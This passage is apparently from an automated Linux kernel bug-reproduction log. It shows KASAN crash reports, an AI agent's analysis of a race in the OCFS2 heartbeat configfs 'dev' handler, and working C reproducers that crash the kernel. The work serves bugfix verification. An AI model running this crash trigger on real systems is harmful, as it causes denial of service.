    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
ReproducedBugTitle
KASAN: null-ptr-deref Write in fput
ReproducedCrashReport
(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835

CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x30/0xd0 fs/file_table.c:588
 o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x612/0xba0 fs/read_write.c:687
 ksys_pwrite64 fs/read_write.c:794 [inline]
 __do_sys_pwrite64 fs/read_write.c:802 [inline]
 __se_sys_pwrite64 fs/read_write.c:799 [inline]
 __x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
 </TASK>
==================================================================

Crash report:
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

Trajectory: (Expand/Collapse All)
Seq Timestamp Type Name Duration
0/0 2026/09/04 19:56 flow repro-c
1h05m Results:
map[EquivalenceAnalysis:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. OtherCrashReports:<nil> ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
 Reproduced:true ReproducedBugTitle:KASAN: null-ptr-deref Write in fput ReproducedCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835

CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x30/0xd0 fs/file_table.c:588
 o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x612/0xba0 fs/read_write.c:687
 ksys_pwrite64 fs/read_write.c:794 [inline]
 __do_sys_pwrite64 fs/read_write.c:802 [inline]
 __se_sys_pwrite64 fs/read_write.c:799 [inline]
 __x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
 </TASK>
==================================================================
]

1/1 2026/09/04 19:56 action kernel-checkouter
1m Results:
map[KernelSrc:/app/workdir/cache/src/0bd482cc9fd6a5c3cdf3e7f636a3906397462859]

2/1 2026/09/04 19:57 action kernel-builder
24m Results:
map[KernelObj:/app/workdir/cache/build/2e41c69b0e9dab993a4c21abc2f11c83b9bb54f2]

3/1 2026/09/04 20:22 action codesearch-prepare
14m Results:
map[Index:codesearch-index]

4/1 2026/09/04 20:36 agent initial-researcher
5m Model:
deep-reasoning

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program for the strictly defensive purpose of verifying a bugfix.

=== TOOL SELECTION GUIDELINES ===
- When looking up C function or struct definitions, prefer codesearch-definition-source
  and codesearch-struct-layout first.
- Fall back to read-file or grepper only if symbol lookup fails or when inspecting macros,
  headers, or non-C files.

=== CRITICAL PROHIBITIONS ===
- Do NOT propose an exploit. Focus solely on minimal technical reproduction of the bug state.
- Do NOT write long explanations. Keep your analysis and strategy proposal concise.
- Do NOT assume that the target bug has already been fixed just because a git commit title
  or description mentions a similar bug or fix. Commit messages often reference related issues
  or partial fixes. Proceed with proposing a reproduction strategy regardless of historical fix commits.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

Reply:
An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Reproduction Strategy

To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.

1. **Setup Configfs and OCFS2 Cluster:**
   - Mount `configfs` and load the `ocfs2_nodemanager` module.
   - Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
   - Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.

2. **Setup Heartbeat Region:**
   - Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
   - Set `blocks` and `start_block` to `1`.
   - Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
   - Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.

3. **Trigger the Race:**
   - Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
   - Spawn two threads pinned to different CPUs.
   - In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
   - The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d", dev_fd);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```

5/2 2026/09/04 20:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 3861
							output: 45
							thoughts: 139
						

Thoughts:
**My Thought Process Regarding the KASAN Null-Pointer Dereference in `fput`**

Right, so my attention has been drawn to a KASAN-reported null-pointer dereference occurring within the `fput` function, which in turn is being invoked by `o2hb_region_dev_store`. This isn't just a theoretical concern; KASAN points to a specific write operation of 8 bytes at memory address `0x158`.

My immediate thought, given the context of `fput`, is that this write operation is likely related to reference counting. Specifically, the `fput` function is known to call `atomic_long_dec_return(&file->f_count)`. Now, if KASAN is telling me there's a write at `0x158` and the `f_count` field within the `struct file` is *also* at offset `0x158` from the beginning of the structure, the most logical conclusion is that the `file` pointer itself is `NULL`. This would mean we're trying to dereference a null pointer to access `f_count`, leading directly to the reported null-pointer dereference.

To confirm this hypothesis, my next step is to dive into the source code of `o2hb_region_dev_store` located in `fs/ocfs2/cluster/heartbeat.c`. I need to understand the execution path that leads to `fput` being called with a potentially `NULL` `struct file` pointer. I'll be looking for how the `file` pointer is obtained and whether there are any conditions under which it might legitimately become `NULL` before being passed to `fput`.


6/2 2026/09/04 20:36 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_dev_store]

Results:
map[SourceCode:1773:	/*
1774:	 * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775:	 * nothing
1776:	 */
1777:	static ssize_t o2hb_region_dev_store(struct config_item *item,
1778:					     const char *page,
1779:					     size_t count)
1780:	{
1781:		struct o2hb_region *reg = to_o2hb_region(item);
1782:		struct task_struct *hb_task;
1783:		long fd;
1784:		int sectsize;
1785:		char *p = (char *)page;
1786:		ssize_t ret = -EINVAL;
1787:		int live_threshold;
1788:	
1789:		if (reg->hr_bdev_file)
1790:			return -EINVAL;
1791:	
1792:		/* We can't heartbeat without having had our node number
1793:		 * configured yet. */
1794:		if (o2nm_this_node() == O2NM_MAX_NODES)
1795:			return -EINVAL;
1796:	
1797:		ret = kstrtol(p, 0, &fd);
1798:		if (ret < 0)
1799:			return -EINVAL;
1800:	
1801:		if (fd < 0 || fd >= INT_MAX)
1802:			return -EINVAL;
1803:	
1804:		CLASS(fd, f)(fd);
1805:		if (fd_empty(f))
1806:			return -EINVAL;
1807:	
1808:		if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809:		    reg->hr_block_bytes == 0)
1810:			return -EINVAL;
1811:	
1812:		if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813:			return -EINVAL;
1814:	
1815:		reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816:				BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817:		if (IS_ERR(reg->hr_bdev_file)) {
1818:			ret = PTR_ERR(reg->hr_bdev_file);
1819:			reg->hr_bdev_file = NULL;
1820:			return ret;
1821:		}
1822:	
1823:		sectsize = bdev_logical_block_size(reg_bdev(reg));
1824:		if (sectsize != reg->hr_block_bytes) {
1825:			mlog(ML_ERROR,
1826:			     "blocksize %u incorrect for device, expected %d",
1827:			     reg->hr_block_bytes, sectsize);
1828:			ret = -EINVAL;
1829:			goto out;
1830:		}
1831:	
1832:		reg->hr_aborted_start = 0;
1833:		reg->hr_node_deleted = 0;
1834:		o2hb_init_region_params(reg);
1835:	
1836:		/* Generation of zero is invalid */
1837:		do {
1838:			get_random_bytes(&reg->hr_generation,
1839:					 sizeof(reg->hr_generation));
1840:		} while (reg->hr_generation == 0);
1841:	
1842:		ret = o2hb_map_slot_data(reg);
1843:		if (ret) {
1844:			mlog_errno(ret);
1845:			goto out;
1846:		}
1847:	
1848:		ret = o2hb_populate_slot_data(reg);
1849:		if (ret) {
1850:			mlog_errno(ret);
1851:			goto out;
1852:		}
1853:	
1854:		INIT_DELAYED_WORK(&reg->hr_write_timeout_work, o2hb_write_timeout);
1855:		INIT_DELAYED_WORK(&reg->hr_nego_timeout_work, o2hb_nego_timeout);
1856:	
1857:		/*
1858:		 * A node is considered live after it has beat LIVE_THRESHOLD
1859:		 * times.  We're not steady until we've given them a chance
1860:		 * _after_ our first read.
1861:		 * The default threshold is bare minimum so as to limit the delay
1862:		 * during mounts. For global heartbeat, the threshold doubled for the
1863:		 * first region.
1864:		 */
1865:		live_threshold = O2HB_LIVE_THRESHOLD;
1866:		if (o2hb_global_heartbeat_active()) {
1867:			spin_lock(&o2hb_live_lock);
1868:			if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869:				live_threshold <<= 1;
1870:			spin_unlock(&o2hb_live_lock);
1871:		}
1872:		++live_threshold;
1873:		atomic_set(&reg->hr_steady_iterations, live_threshold);
1874:		/* unsteady_iterations is triple the steady_iterations */
1875:		atomic_set(&reg->hr_unsteady_iterations, (live_threshold * 3));
1876:	
1877:		hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878:				      reg->hr_item.ci_name);
1879:		if (IS_ERR(hb_task)) {
1880:			ret = PTR_ERR(hb_task);
1881:			mlog_errno(ret);
1882:			goto out;
1883:		}
1884:	
1885:		spin_lock(&o2hb_live_lock);
1886:		reg->hr_task = hb_task;
1887:		spin_unlock(&o2hb_live_lock);
1888:	
1889:		ret = wait_event_interruptible(o2hb_steady_queue,
1890:					atomic_read(&reg->hr_steady_iterations) == 0 ||
1891:					reg->hr_node_deleted);
1892:		if (ret) {
1893:			atomic_set(&reg->hr_steady_iterations, 0);
1894:			reg->hr_aborted_start = 1;
1895:		}
1896:	
1897:		if (reg->hr_aborted_start) {
1898:			ret = -EIO;
1899:			goto out;
1900:		}
1901:	
1902:		if (reg->hr_node_deleted) {
1903:			ret = -EINVAL;
1904:			goto out;
1905:		}
1906:	
1907:		/* Ok, we were woken.  Make sure it wasn't by drop_item() */
1908:		spin_lock(&o2hb_live_lock);
1909:		hb_task = reg->hr_task;
1910:		if (o2hb_global_heartbeat_active())
1911:			set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912:		spin_unlock(&o2hb_live_lock);
1913:	
1914:		if (hb_task)
1915:			ret = count;
1916:		else
1917:			ret = -EIO;
1918:	
1919:		if (hb_task && o2hb_global_heartbeat_active())
1920:			printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921:			       config_item_name(&reg->hr_item), reg_bdev(reg));
1922:	
1923:	out:
